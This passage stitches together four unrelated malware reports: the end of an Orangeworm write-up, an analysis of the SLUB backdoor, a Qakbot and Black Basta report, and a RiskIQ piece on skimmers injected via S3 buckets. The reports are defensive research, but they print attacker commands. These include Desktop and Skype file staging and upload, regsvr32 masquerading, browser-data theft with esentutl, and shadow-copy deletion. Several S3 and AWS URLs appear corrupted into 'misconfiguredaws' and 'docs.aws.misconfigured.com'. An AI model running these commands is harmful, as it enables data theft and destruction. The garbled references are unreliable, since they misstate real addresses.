rudimentary information about the compromised computer including some basic network adapter information, system version information, and language settings. Orangeworm likely uses this information to determine whether the system is used by a researcher or if the victim is a high-value target. Once Orangeworm determines that a potential victim is of interest, it proceeds to aggressively copy the backdoor across open network shares to infect other computers. It may copy itself to the following hidden file shares: - ADMIN$ - C$WINDOWS - D$WINDOWS - E$WINDOWS ## Information gathering At this point, the attackers proceed to gather as much additional information about the victim’s network as possible, including any information pertaining to recently accessed computers, network adapter information, available network shares, mapped drives, and files present on the compromised computer. We have observed the attackers executing various commands within victim environments. Kwampirs uses a fairly aggressive means to propagate itself once inside a victim's network by copying itself over network shares. While this method is considered somewhat old, it may still be viable for environments that run older operating systems such as Windows XP. This method has likely proved effective within the healthcare industry, which may run legacy systems on older platforms designed for the medical community. Older systems like Windows XP are much more likely to be prevalent within this industry. Additionally, once infected, the malware cycles through a large list of command and control (C&C) servers embedded within the malware. It appears while the list is extensive, not all of the C&Cs are active and continue to beacon until a successful connection is established. Despite modifying a small part of itself while copying itself across the network as a means to evade detection, the operators have made no effort to change the C&C communication protocol since its first inception. Both of these methods are considered particularly “noisy” and may indicate that Orangeworm is not overly concerned with being discovered. The fact that little has changed with the internals of Kwampirs since its first discovery may also indicate that previous mitigation methods against the malware have been unsuccessful, and that the attackers have been able to reach their intended targets despite defenders being aware of their presence within their network. ## No hallmarks of a nation-state actor While Orangeworm is known to have been active for at least several years, we do not believe that the group bears any hallmarks of a state-sponsored actor—it is likely the work of an individual or a small group of individuals. There are currently no technical or operational indicators to ascertain the origin of the group. ## Protection Symantec customers are protected against Orangeworm and Symantec has also made efforts to notify identified targets of its operations. Customers with Intelligence Services or WebFilter-enabled products are protected against activity associated with the Orangeworm group. These products include: - Web Security Service (WSS) - ProxySG - Advanced Secure Gateway (ASG) - Security Analytics - Content Analysis - Malware Analysis - SSL Visibility - PacketShaper Symantec has the following specific detections in place for tools used by Orangeworm: - Anti-virus (AV): Trojan.Kwampirs - Intrusion prevention system (IPS): - System Infected: Trojan.Kwampirs Activity - System Infected: Trojan.Kwampirs Activity 2 - System Infected: Trojan.Kwampirs Activity 4 ## Indicators of Compromise ### File Attachments - Indicators of Compromise for Orangeworm ## About the Author The Attack Investigation Team is a group of security experts within Symantec Security Response whose mission is to investigate targeted attacks, drive enhanced protection in Symantec products, and offer analysis which helps customers respond to attacks.
# New SLUB Backdoor Uses GitHub, Communicates via Slack March 7, 2019 We recently came across a previously unknown malware that piqued our interest in multiple ways. For starters, we discovered it being spread via watering hole attacks, a technique that involves an attacker compromising a website before adding code to it so visitors are redirected to the infecting code. In this case, each visitor is redirected only once. The infection was done by exploiting CVE-2018-8174, a VBScript engine vulnerability that was patched by Microsoft back in May 2018. Second, it uses a multi-stage infection scheme. After it exploits the vulnerability, it downloads a DLL and runs it in PowerShell (PS). This file, which is a downloader, then downloads and runs the second executable file containing a backdoor. The first stage downloader also checks for the existence of different kinds of antivirus software processes, and then proceeds to exit if any is found. At the time of discovery, the backdoor was seemingly unknown to AV products. In addition to the previously mentioned facts, we quickly noticed that the malware was connecting to the Slack platform, a collaborative messaging system that lets users create and use their own workspaces through the use of channels, similar to the IRC chatting system. We found this quite interesting, since we haven’t observed any malware to date that communicates using Slack—although we've previously discussed how cybercriminals could possibly abuse chat platforms as part of their attack. Our technical investigation and analysis of the attacker’s tools, techniques, and procedures (TTP) lead us to think that this threat is actually a stealthy targeted attack run by capable actors, and not a typical cybercriminal scheme. Note that as soon as this malware was discovered, we informed the Canadian Centre for Cyber Security, which acts as Canada’s National Computer Security Incident Response Team (CSIRT). The Cyber Centre alerted the site operator, helped them understand the malware that was found, and offered mitigation advice. ## Infection Chain The downloader, which runs through PowerShell as a DLL, serves several purposes. The first is to download the second stage malware, which we called the SLUB (for SLack and githUB; detected as Backdoor.Win32.SLUB.A) backdoor and execute it. The second purpose is to check if the following antivirus processes are running: - V3Tray.exe - AYAgent.aye - navapsvc.exe - ashServ.exe - avgemc.exe - bdagent.exe - ZhuDongFangYu.exe If the downloader finds one of these, it simply exits. Finally, the downloader also exploits the CVE-2015-1701 vulnerability to acquire Local Privilege Escalation. The exploit's code was likely created by modifying code from a GitHub repository. ## The SLUB Backdoor The SLUB backdoor is a custom one written in the C++ programming language, statically linking curl library to perform multiple HTTP requests. Other statically-linked libraries are boost (for extracting commands from gist snippets) and JsonCpp (for parsing slack channel communication). The malware also embeds two authorization tokens to communicate with the Slack API. It copies itself to ProgramData\update\ and creates persistence via a Run registry key, calling export function UpdateMPUnits with rundll32.exe. Note the typo in the ValueName, “Microsoft Setup Initializazion.” It downloads a specific “gist” snippet from Github and parses it, looking for commands to execute. Only lines starting with “^” and ending with “$” will be executed. The other lines are ignored. The result of the commands is then posted to a private Slack channel in a particular workspace using the embedded tokens. Note that a side effect of this particular setup is that the attacker has no way to issue commands to a specific target. Each infected computer will execute the commands that are enabled in the gist snippet upon checking it. ## Backdoor Features The backdoor supports the following commands and subcommands (most of them are self-explanatory). Commands and subcommands/parameters are separated with a comma “,”. | Command | Details | |---------|---------| | exec | Execute command with cmd.exe | | dnexec | Download and execute command | | update | Download a file, remove the current one and run the downloaded file | | destroy | Delete malware from disk with a batch script | | capture | Take screenshot and send it to slack channel | | list | List specified file | | copy | Copy specified file | | delete | Delete specified file | | upload | Upload local file to file.io website and post the download link to the Slack channel | | create | Create directory | | remove | Remove directory | | list | List processes | | kill | Terminate process | | list | Get information about each volume of the current drive, such as free space, extended attributes, USN journal activation, and encryption state | | Query | Query registry key | | Read | Read registry key | | Write | Write registry key | | tmout | Call to “sleep” function | ## Slack Communication Function The slack communication function contains two hardcoded authentication tokens split into a few smaller chunks. Later, the backdoor gets the username and computer name then creates and uploads the Slack message into a channel. It uses the following API to post messages: `https://api.slack.com/methods/chat.postMessage`. The keywords “title,” “text,” “channel,” and “attachments” are clearly visible in the function listing. The output of every command is sent to a private Slack channel, while every command itself is sent to a different private Slack channel as an attachment with the text “*computername:username*”. ## The Attackers' Tools, Techniques and Procedures The Github account and the Slack workspace were created specifically for a campaign on February 19 and 20, while we estimate that the attacker compiled the malware on February 22. The attacker added the first commands to Github on February 20. However, looking at the Slack channels, we can see that the attacker tested the malware on February 23 and 24. The first victims were seen on February 27. The attackers' first actions involve getting context information to learn more about the computer they infected: - `^exec,tasklist$` - `^capture$` - `^drive,list$` - `^file,list,C:\Users\$` - `^reg,read,HKEY_CURRENT_USER,SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run$` They look for running processes, take screen captures, list drives on the machine, list all users, and check the malware's persistence registry key. They will also usually list some known directories: - `^exec,dir /s C:\Users\USER\Desktop\$` - `^exec,dir /s C:\Users\USER\Downloads\$` - `^exec,dir /s C:\Users\USER\Recent\$` Some commands caught our interest, such as one that allows the attacker to create an archive file of the user's entire Desktop folder, which is then exfiltrated: - `^exec,powershell -Command compress-archive -path C:\Users\USER\Desktop -destinationpath C:\Users\USER\doc1$` The following command allows an attacker to build a CAB file containing the file tree of the user’s Desktop: - `^exec,cd C:\Users\USER & dir /s /b /a-d C:\Users\USER\Desktop > C:\Users\USER\win12 & makecab /d CabinetName1=win34 /f C:\Users\USER\win12$` The attacker is also seemingly interested in files containing the local archive in Skype: - `^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage-ecs.data$` - `^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data$` - `^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data-shm$` - `^file,upload C:\Users\Admin\AppData\Roaming\Skype\DataRv\offline-storage.data-wal$` The attacker copies all the HWP files (extension used by a Korean word processor) to a specific directory: - `^exec,copy C:\Users\USER\Desktop\*.hwp C:\Users\USER\oo$` The attacker likely planned to exfiltrate this directory—however, we did not see any commands for this. We also noted a specific interest in a software called “Neologic Plus Board,” which seems to be used for the administration of bulletin board systems. Some of the files that the attackers retrieved contained hundreds of BBS URLs. We also noticed that most of the files uploaded to file.io were already deleted when we tried to retrieve them. Based on the commands run by the attackers, we theorize that they are looking for people-related information. The attackers want to know more about the targeted victims’ communications. Thus, they dig into activities on Twitter, Skype, KakaoTalk, BBS—and possibly more communication systems—in addition to collecting the HWP files. ## Conclusion Perhaps the most unique aspect of this campaign is that it makes use of three different online services to issue commands, get the results, and retrieve files from compromised hosts. Our investigation makes us believe with strong confidence that it was part of a possible targeted attack campaign. So far, we have not been able to find related attacks, and have not spotted the custom backdoor elsewhere. We have been searching for similar samples and have found none so far, which is a strong indication that the attackers either developed the malware or got it from a private developer who has not publicly leaked it. The commands that the attackers ran clearly show a strong interest in person-related information, with a special focus on communication software, in an attempt to learn more about the people behind the computers they infected. The attackers also appear to be professionals, based on their way of handling their attack. They only use public third-party services, and therefore did not need to register any domains or anything else that could leave a trail. The few email addresses we found during the investigation were also using trash email systems, giving the attackers a clean footprint. Finally, the watering hole chosen by the attackers can be considered interesting for those who follow political activities, which might give a glimpse into the nature of the groups and individuals that the attackers are targeting. We would like to thank Github’s SIRT and Slack’s security teams for quickly removing the related files, which effectively cut the communication between the attackers and their malware. In response to this incident, Slack replied with the following: As noted in their post, Trend Micro recently discovered a third party’s unauthorized access of another third party’s computer using malware, and reported to us the existence of a Workspace on Slack related to this effort. We investigated and immediately shut down the single Workspace as a violation of our terms of service, and we confirmed that Slack was not compromised in any way as part of this incident. We are committed to preventing the misuse of our platform and we will take action against anyone who violates our terms of service. ## Indicators of Compromise (IoCs): - 3ba00114d0ae766cf77edcdcc953ec6ee7527181968c02d4ffc36b9f89c4ebc7 (Trojan.Win32.CVE20151701.E) - 43221eb160733ea694b4fdda70e7eab4a86d59c5f9749fd2f9b71783e5da6dd7 (Backdoor.Win32.SLUB.A) ## URLs: - hxxps://gist.github[.]com/kancc14522/626a3a68a2cc2a91c1ece1eed7610c8a
# Orion Threat Alert: Qakbot TTPs Arsenal and the Black Basta Ransomware **October 31, 2022** **Max Malyutin – Orion Threat Research Team Leader** This report covers the execution of the notorious Qakbot malware infection, with in-depth details about TTPs (Tactics, techniques, and procedures) and the Qakbot's different functionalities. ## Qakbot Executive Summary Qakbot (also known as QBot, QuakBot, or Pinkslipbot) is a modular information stealer and banking trojan malware that has been active for over a decade, first discovered in the wild in 2007. Threat actors behind the malware are financially motivated cybercriminals who steal financial data, banking credentials, and web browser information from infected systems. Once Qakbot threat actors succeed in infecting a system, they install a backdoor to grant access to ransomware operators, leading to double extortion attacks. Qakbot’s main goals are: - Collecting credentials and financial information - Installing a backdoor - Dropping additional malware (in most cases ransomware) Qakbot has led to widespread infections and is known as one of the most dangerous malwares. It has evolved in the last two years, acquiring capabilities such as installing persistence, evading defenses, escalating privileges, and communicating with a Command and Control (C2). These capabilities allow it to compromise the system without being detected by endpoint detection and response (EDR) vendors or antivirus (AV) solutions. Recently, multiple Qakbot campaigns were seen in the wild. Qakbot’s rapid change in its TTPs provides the ability to quickly spread and avoid defenses, making it harder for security analysts and defenders to monitor and prevent Qakbot attacks. ## Orion’s Observations The Cynet Orion Threat Research team closely monitors Qakbot campaigns, TTPs, and attack methods. Since Microsoft changed the default policy in their Office products by disabling macros, threat actors have altered their initial infection methods. Qakbot previously used malicious documents (MalDocs) to infect systems but now employs different methods. ### Qakbot Infection Flow Summary Qakbot’s initial infection distribution starts with a spam or hijacked email that contains malicious HTML (HTML smuggling) or a password-protected ZIP. Malicious URL links are also observed as part of the malicious email, leading to an ISO image file, which lures the victim to execute a malicious LNK file. After the LNK execution, the next infection step may vary due to changes in TTPs. Usually, Qakbot threat actors at this stage of the infection abuse legitimate binaries (LOLBins – Living Off the Land Binaries) or capabilities of the Microsoft Windows operating system. Orion observed the following LOLBins (from June 2022 until today) that were recently used: CMD and WScript for script/batch file execution, CURL for downloading Qakbot’s DLL, and Regsvr32 or Rundll32 for Qakbot’s stager DLL execution. Once Qakbot’s DLL is executed, a process injection occurs. A new process is created and injected with Qakbot’s DLL. After Anti-VM and Anti-Analysis checks, the injected process installs its configuration in a registry key. A copy of the same DLL is dropped for persistence, executed by the registry Run key. In the case of a high-privileged compromised user (Administrator), it will install persistence via a Scheduled Task. Once the threat actors set up persistence, the Qakbot-injected process communicates with multiple C2 servers. The C2 servers wait for information about the compromised system, leading to the execution of an automated series of discovery commands that collect information about the system. The injected process also extracts information from web browsers (Internet Explorer and Microsoft Edge) by abusing a built-in utility, esentutl binary. Additionally, the C2 sends an info-stealing module that allows the injected process to access web browser data and credentials. After Qakbot has all the information and sends it to the C2 server, the infection leads to Cobalt Strike or Brute Ratel. These frameworks allow threat actors to control the compromised system and perform multiple actions such as credential dumping, lateral movement, and exfiltration. The final stage of the infection is a human-operated ransomware attack with double extortion. Ransomware threat actors locate and secure access to high-value assets, exfiltrate sensitive data, and execute ransomware across the domain. ## From Spam Email to Ransomware Infection: Breaking Down Qakbot Campaign TTPs ### Initial Access, Execution, and Defense Evasion The Qakbot campaign distribution method is through malicious spam (malspam) emails. Here are some examples: - A malicious email with an HTML file attachment. The HTML distribution is extremely popular in recent Qakbot campaigns. The victim opens the HTML attachment in their browser, leading to a fake local HTML site. Threat actors use different fake sites that seem legitimate, luring the victim to keep executing (clicking) until the Qakbot infection starts. The HTML fake site then downloads a password-protected ZIP archive. Threat actors use the technique of Obfuscated Files or Information: HTML Smuggling (MITRE ID: T1027.006) to avoid detection by smuggling a hidden ZIP file inside an HTML file. ### Examples of HTML Smuggling File Names - Contract#[digits].html - Cancellation_[digits].html - IN[digits].html - ComplianceReportCopy#[digits]4.html - Grant#[digits].html - REF#[digits]_[month]_[day].html - ContractCopy#[digits].html - Document#[digits](mmdd).html The password-protected ZIP archive contains an ISO image. The password of the ZIP is presented in the HTML fake site. ### Example of ISO File Names - Details[digits].iso - Contract_[digits].iso - Cancellation#[digits].iso - ComplianceReportCopy_[digits].iso - Grant_[digits].iso - A7[digits].iso - DK[digits].iso - VV[digits].iso Until this point, the victim has followed the threat actors' plan. The victim was first lured by a malicious spam email, then downloaded an attachment, saved a ZIP file containing an ISO file, and opened it. The ISO contains an LNK file that has an icon of a directory or a document to lure the victim to double-click on it. Additionally, there is a hidden folder containing some payloads and the Qakbot DLL. The LNK file serves as a shortcut to the cmd.exe command line that executes a batch script (.cmd) from the hidden directory. ### The Batch Script The batch script has two commands: “set” (lines 4-8) and “call” (line 10). The “set” command creates five environment variables, and the “call” command executes an obfuscated command line with all the environment variables. The last set command at line 8 contains the replace.exe binary that will be used to copy regsvr32 to a different location to evade security products. The “call” command executes the following: The threat actors use a masquerading technique to avoid detections by placing the regsvr32.exe binary in a different location with the replace.exe Microsoft built-in utility. ``` replace C:\Windows\system32\regsvr32.exe C:\Users\Admin\AppData\Local\Temp /A ``` The /A parameter copies the new file to the requested directory instead of moving the existing file. The %1 %2 %3 are the arguments that reside in the LNK command line. Their concatenation results in regsvr32.exe, which will be executed to load the Qakbot’s DLL. The Qakbot’s DLL in this case is the “volleyed.dat” file. ### Execution Flow After Double-Clicking the LNK File Another example of Qakbot infection uses different TTPs, starting with an LNK file execution. The batch file (.cmd) also has “set” and “call” commands. An unknown executable is found in the %temp% directory (C:\Users\{User}\AppData\Local\Temp). The batch file sets environment variables, and the concatenation of the environment variables values results in regsvr32.exe, which will be copied to the %temp% directory and renamed. In the last three months, Qakbot’s threat actors used unique TTPs for each campaign. We are monitoring Qakbot campaigns closely and observed unique infection flows each time: - **June 2022:** LNK > CMD & CURL > PING > Regsvr32 Execution flow description: A LNK file executes a curl command to download a Qakbot DLL to \\AppData\\Roaming\\[RandomDir] for a compromised distribution URL, and finally executes the DLL with regsvr32. - **July 2022:** LNK > CALC > Regsvr32 Execution flow description: A LNK file executes a copy of calc.exe (stored in the ISO). The ISO also contains two DLL files, WindowsCodecs.dll, and a payload named [Random].dll to exploit a DLL hijacking. Finally, regsvr32 loads the Qakbot DLL. - **September 2022:** LNK > CURL & WSCRIPT > CMD > PING & Regsvr32 Execution flow description: A LNK file executes curl to download a .js file to \\AppData\\Roaming\\[RandomDir]\\[RandomDir]. The JS script downloads the Qakbot DLL and executes it with Regsvr32. Now that we have covered different Qakbot TTPs and infection flows, let’s focus on what happens after the Qakbot DLL is executed by regsvr32.exe. Qakbot DLL targets system processes for process injection (Process Hollowing). The targeted process is chosen from a hardcoded list according to AV solutions running on the compromised system to evade them. CreateToolhelp32Snapshot, Process32Next, and Process32First APIs allow enumerating running processes on the compromised system. ### Target Processes - %SystemRoot%\SysWOW64\wermgr.exe (in the last campaigns, the target process was: %SystemRoot%\SysWOW64\explorer.exe) - %SystemRoot%\SysWOW64\mobsync.exe - %SystemRoot%\SysWOW64\msra.exe - %SystemRoot%\SysWOW64\OneDriveSetup.exe - %ProgramFiles(x86)%\Internet Explorer\iexplore.exe We observed a new process in the new Qakbot campaign: %SystemRoot%\SysWOW64\dxdiag.exe. ### AV Processes Checked - kavtray.exe, avp.exe == Kaspersky - bdagent.exe, vsserv.exe, vsservppl.exe == Bitdefender - SavService.exe, SAVAdminService.exe == Sophos - coreServiceShell.exe, PccNTMon.exe, NTRTScan.exe == Trend Micro - MsMpEng.exe == Windows Defender - AvastSvc.exe == Avast The process injection uses the following Windows APIs: CreateProcessW, WriteProcessMemory, and NtResumeThread. CreateProcessW API is used to start a new system process using the flag CREATE_SUSPENDED to create the targeted process in suspended mode. After injecting the Qakbot DLL code with WriteProcessMemory, it finally resumes the injected process and its execution with NtResumeThread. The injected process (wermgr.exe) contains a newly allocated memory space found in 0x302000. The page has RWX (Read, Write, Execute) protection, and this page contains an MZ header of the injected Qakbot DLL. In addition to the AV enumeration, Qakbot also checks if it is running on the Windows Defender sandbox. Qakbot checks the existence of a subdirectory: “C:\\INTERNAL\\__empty.” If this folder exists, the Qakbot process terminates itself. During our analysis, we spotted that the unpacked Qakbot DLL was inside the injected process memory. This unpacked Qakbot DLL has unique indicators: - DLL internal name: fwpolicyiomgr.dll - DLL export functions: DllRegisterServer, DllInstall Here is an older version of the Qakbot unpacked DLL from previous campaigns: - DLL internal name: visualstudio_helper.dll - DLL export function: DllRegisterServer After the injection, Qakbot stores the content of its DLL in memory and corrupts the image file (DLL) on the disk by overwriting it with junk data. This is done to interfere with forensics and analysis attempts. Qakbot stores its configuration in a fileless manner by loading its configuration from its resource section and then storing it in the registry, in HKCU\\Software\\Microsoft\\[RandomDir]. ### Persistence The persistence mechanism of Qakbot is a registry Run key (HKCU\Software\Microsoft\Windows\CurrentVersion\Run). First, Qakbot creates a subdirectory with a random name under the %APPDATA%\\Microsoft\\ and drops a copy of Qakbot’s DLL for the Run key persistence. The persistence mechanism triggers when the system shuts down or restarts. During the system shutdown/restart, the copy of the Qakbot DLL is dropped to “C:\\Users\\{User}\\AppData\\Roaming\\Microsoft\\Zadabakyje\\uboeuai.dll” and a new value in the registry Run key is created. Registry value = KNBLORIAPI, the data type of the value is REG_SZ, and it contains the following data: ``` regsvr32.exe “C:\\Users\\{User}\\AppData\\Roaming\\Microsoft\\Zadabakyje\\uboeuai.dll” ``` At the reboot of the compromised system, the Run key is executed, running the command. Here’s another example of the persistence process: Qakbot uses an anti-forensics technique by deleting and removing the persistence. On system boot, the DLL file is removed from the C:\\Users\\{User}\\AppData\\Roaming\\Microsoft\\{RandomDir}\\, and the run key value is removed from the registry key. ### Discovery The injected Qakbot process executes automated discovery commands with legitimate Microsoft Windows built-in command-line binaries. These discovery commands collect information about the compromised system and send the information to the C2 server, serving the threat actors for mapping the system for lateral movement. - `net view`: Displays a list of domains, computers, or resources shared by the specified computer. - `cmd /c set`: Displays the system environment variables. - `arp -a`: Displays entries in the ARP (Address Resolution Protocol) table. - `nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.<domain_fqdn>`: Displays SRV service location records specifically for domain controllers. - `ipconfig /all`: Displays all current TCP/IP network configurations. - `net share`: Displays information about all resources shared on the local computer. - `route print`: Displays entries in the local IP routing table. - `netstat -nao`: Displays active TCP connections, ports on which the computer is listening, Ethernet statistics, the IP routing table, IPv4 statistics. - `net localgroup`: Displays the name of the server and the names of local groups on the computer. - `whoami /all`: Displays user, group, and privileges information for the user currently logged on to the local system. ### Credential Access and Collection (Web-Browser) One of Qakbot's capabilities is information stealing. It steals sensitive information from Internet Explorer and Microsoft Edge by executing the esentutl.exe command line: ``` esentutl.exe /r V01 /l”C:\\Users\\{User}\\AppData\\Local\\Microsoft\\Windows\\WebCache” /s”C:\\Users\\{User}\\AppData\\Local\\Microsoft\\Windows\\WebCache” /d”C:\\Users\\{User}\\AppData\\Local\\Microsoft\\Windows\\WebCache” ``` The injected Qakbot process performed the Web-Browser collection by receiving from the C2 server a cookie grabber module that allows it to access web browsers' credentials and data. This data is stored on the disk. ### Qakbot Botnet; Command and Control Qakbot injected process communicates (over HTTPS POST request with the victim fingerprinting data) with the C2 servers. Their IP addresses are stored in a hardcoded list in the configuration that resides in the registry. Once the Qakbot communication is established, the C2 will send additional modules to the injected Qakbot process. The following fingerprinting data is sent to the C2 server: - OS information - CPU information - Computer name - Username - AD Domain - Running processes In addition, all the discovery outputs are also sent to the C2 server. The Qakbot botnet IDs: Obama, BB, etc., are located inside the injected process memory. ### Cobalt Strike Infection After all the above actions (defense evasion, discovery, credential access, collection, and the C2 communication), we observed in one of our incident responses (IR) that the Qakbot infection leads to a Cobalt Strike. The Qakbot injected process (in the IR case: OneDriveSetup.exe) injected into a different process – a Cobalt Strike DLL beacon – 45 minutes after the initial infection. The injection created a new remote thread in the targeted Rundll32.exe process. One of the actions that the threat actors executed is a fileless .NET Mimikatz. This is the Mimikatz executed inside the injected process (rundll32.exe) memory. Mimikatz functionality allows the threat actors to dump passwords and NTLM hashes from memory, collect Kerberos tickets, and run “Pass the Hash.” With this functionality, the threat actors perform lateral movement and privilege escalation. ### Human-operated Ransomware At this point of the infection (Cobalt Strike execution), the attack switched to Human-operated ransomware. It is an active attack performed by ransomware cybercriminals with a “hands-on keyboard.” Threat actors take advantage of the domain to deploy ransomware. We have investigated several Qakbot infections and observed a collaboration with CONTI and Black Basta ransomware groups. This makes sense based on the Threat Intelligence reports that link these two ransomware groups (Black Basta is an offshoot of CONTI). Black Basta ransomware was first seen at the beginning of 2022. ### Black Basta Ransomware Technical Info - Ransomware encryption algorithms: ChaCha20 and RSA-4096 - Ransomware skips the following files/directories: - $Recycle.Bin - readme.txt - Windows - Ransomware extension: .basta - Ransomware note: readme.txt - Ransomware replaces the desktop wallpaper with your image ### Ransomware Inhibits System Recovery Commands - `C:\Windows\SysNative\vssadmin.exe delete shadows /all /quiet` - `cmd.exe /c “C:\Windows\SysNative\vssadmin.exe delete shadows /all /quiet”` - `C:\Windows\SysNative\bcdedit /set safeboot networkChanges` ### TTPs: Tactics, Techniques, and Procedures, MITRE Now that we’ve covered the execution details, here are the TTPs: - **TA0001 Initial Access:** - T1566.001 Phishing: Spear phishing Attachment - **TA0002 Execution:** - T1204.001 User Execution: Malicious Link - T1204.002 User Execution: Malicious Link - T1059.005 Command and Scripting Interpreter: Visual Basic Script - T1059.007 Command and Scripting Interpreter: JavaScript - T1027 Obfuscated Files or Information - **TA0003 Persistence:** - T1547.001 Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder - T1053.005 Scheduled Task - T1543.003 Create or Modify System Process: Windows Service - T1574.001 Hijack Execution Flow: DLL Search Order Hijacking - **TA0005 Defense Evasion:** - T1027.006 Obfuscated Files or Information: HTML Smuggling - T1218.011 Signed Binary Proxy Execution: Rundll32 - T1218.010 System Binary Proxy Execution: Regsvr32 - T1027.002 Obfuscated Files or Information: Software Packing - T1027.005 Obfuscated Files or Information: Indicator Removal from Tools - T1070.004 Indicator Removal on Host: File Deletion - T1112 Modify Registry - T1055.012 Process Injection: Process Hollowing - T1562.009 Impair Defenses: Safe Boot Mode - T1622 Debugger Evasion - **TA0006 Credential Access:** - T1555.003 Credentials from Password Stores: Credentials from Web Browsers - T1003 OS Credential Dumping - **TA0007 Discovery:** - T1057 Process Discovery - T1018 Remote System Discovery - T1482 Domain Trust Discovery - T1135 Network Share Discovery - T1069.001 Permission Groups Discovery: Local Groups - T1082 System Information Discovery - T1016 System Network Configuration Discovery - T1049 System Network Connections Discovery - T1033 System Owner/User Discovery - T1010 Application Window Discovery - **TA0009 Collection:** - T1005 Data from Local System - **TA0011 Command and Control:** - T1573 Encrypted Channel - T1071 Application Layer Protocol - T1041 Exfiltration Over C2 Channel - **TA0040 Impact:** - T1486 Data Encrypted for Impact - T1490 Inhibit System Recovery We will continue to share threat alerts in real time, so keep an eye on our social channels. You can also find our monthly ransomware reports here. Stay safe!
# Misconfigured Amazon S3 Buckets Continue to be a Launchpad for Malicious Code By Jordan Herman June 12, 2020 RiskIQ continues to surface threat campaigns leveraging misconfigured Amazon S3 Buckets to insert malicious code into websites. Amazon S3 buckets are public cloud storage resources available in AWS Simple Storage Service (S3), an object storage offering similar to folders that consist of data and its descriptive metadata. These useful resources are ubiquitous in the developer world, but all too often misconfigured when deployed. Attackers, who can gain code-level access to a website by hacking these vulnerable web assets, have begun mass scanning for misconfigured buckets and ramping up attacks. Last year, RiskIQ identified a Magecart campaign leveraging misconfigured S3 buckets to insert JavaScript credit card skimmers on hundreds of websites. Around the same time, our researchers identified another strain of malicious code using the same S3 bucket attack vector, often appearing alongside the Magecart skimming code. After analysis, we discovered that this other malicious code, a redirector we refer to as 'jqueryapi1oad,' is related to a long-running malvertising campaign. In this research, we dissect the code and tactics used in these attacks, and, with RiskIQ's unique data sets, determine the threat campaign's scope. ## Misconfigured Amazon S3 Buckets: A Launchpad for Malicious Code On May 12th, RiskIQ observed more Magecart skimming code on three websites, each related to one another and hosting content and chat forums catering to firefighters, police officers, and security professionals. Here, we see skimming code injected into `img.firehouse[.]com/forums/fhc-ad-forums.js`. We also observed a skimmer on `img.officer[.]com/forums/ofcr-ad-forums.js`. However, another strain of malicious code appears alongside the skimmer in this JavaScript—none other than jqueryapi1oad. This script loads content from `gold.platinumus[.]top/track/awswrite`. *The sites identified above belong to Endeavor Business Media. Update: Endeavor Business Media has informed us it has remediated the misconfiguration and removed the skimmers and jqueryapi1oad redirector from their websites. We have confirmed that the sites are now clean.* ### jqueryapi1oad is on 362 Unique Domains We first identified the jqueryapi1oad malicious redirector—so named after the cookie we connected with it—in July of 2019. Our research team determined that the actors behind this malicious code were also exploiting misconfigured S3 buckets. Looking at RiskIQ data for the jqueryapi1oad cookie, we see that it first appeared on 2019-04-26 and is still in use, connected with 362 unique domains to date, including `officer[.]com`. The `gold.platinumus[.]top` hostname has resided on `185.180.196[.]4` since it was first registered. The IP belongs to the well-known bulletproof hosting company King Servers. Fourteen other hosts also appear on this IP address. A series of other cookies that follow a uniform naming format are associated with these hosts. Several other cookies as well. Here are three examples below: - `https://community.riskiq.com/search/gold.platinumus.top/cookies` - `https://community.riskiq.com/search/b.5bnewbtrack.info/cookies` - `https://community.riskiq.com/search/d.jtrackd.icu/cookies` With the capability to perform a trailing wildcard search of cookie names in the RiskIQ platform, we can quickly identify 176 other hosts associated with these cookies. The code itself performs a bot check and sets the jqueryapi1oad cookie along with an expiration period based on the outcome of the check. It then creates a new element in the DOM of the page into which it's injected and pulls the new content from the `gold.platinumus[.]top/track/awswrite` URL. ### Connections to Hookads and TSS On May 16th, 2019, a few weeks after `gold.platinumus.top` was registered, RiskIQ observed an instance of jqueryapi1oad loaded from `app-google-analytics.s3-sa-east-1.misconfiguredaws[.]com`. The malicious JavaScript creates a PHP file named 'this.php' (note 'this.responseText' in the code sample above). The PHP file contains another URL, `eimage[.]tk/index/?4021528806835`, which was loaded by the compromised page. The `eimage[.]tk` URL loads a cookie associated with the Keitaro traffic distribution system (TDS). RiskIQ tracking of Keitaro associates 47,077 unique domains with this TDS. The `eimage[.]tk` page also loads a second redirection script, which we associate with the Hookads malvertising campaign. This campaign has historically been connected to exploit kits and other malicious behavior. Within the redirection code is the URL `take-prize-here2[.]life`, yet another redirector ultimately landing on a scam page at `best6650.ttxsrl38[.]agency`. RiskIQ also captured instances of jqueryapi1oad on popular websites. The domain `futbolred[.]com` is a Colombian soccer news site that's in the top 30,000 of global Alexa rankings. It also misconfigured an S3 bucket, leaving it open to jqueryapi1oad. Here we see the sequences where the S3 bucket loaded content from `gold.platinum[.]us`, creating the redirection through `cermageratin[.]tk` to `wosemdesyane[.]site`. The `wosemdesyane.site` URL then redirects to a fake flash download page. RiskIQ has so far identified 277 unique hosts directly affected by jqueryapi1oad. ## Conclusion Misconfigured Amazon S3 buckets that allow malicious actors to insert their code into numerous websites is an ongoing issue. Here, we have identified three sites belonging to the same company that currently host instances of Magecart. One of these is also hosting jqueryapi1oad, a malicious redirector we connect to the Hookads campaign, which has been historically associated with exploit kits and other malicious behavior. As attacks involving misconfigured S3 buckets continue, knowing where your organization is using them across its digital attack surface is imperative. In today's threat environment, businesses cannot move forward safely without having a digital footprint, an inventory of all digital assets, to ensure they are under the management of your security team and properly configured. ## Amazon S3 Bucket Mitigation: Logs, Review & Investigation A compromised S3 bucket is a painful moment for an organization, but it's also a pivotal one. Once the compromise comes to light, it is essential to assess the full scope of the incident. While the exact list of questions may differ depending on the type of organization, we recommend first answering these basic questions when performing your investigation: 1. **What happened?**: This question might seem too basic, but starting with a high-level incident description is extremely helpful. 2. **How did it happen?**: Check logs and file modification timestamps, and try to save all this information to get a full picture of what happened and when. Here are three ways for customers to enable this logging: - [CloudTrail Logging](https://docs.aws.misconfigured.com/misconfiguredS3/latest/dev/cloudtrail-logging.html) - [Server Logs](https://docs.aws.misconfigured.com/misconfiguredS3/latest/dev/ServerLogs.htm) - Response automated using Lambda: [YouTube Video](https://www.youtube.com/watch?v=8qQ5Ng-FGB0) 3. **What is the impact?**: Did someone access, remove, or modify files they shouldn't have, and what was the impact of this? Were processes deteriorated? Was public content affected, resulting in theft, such as Magecart skimming or other exposure? 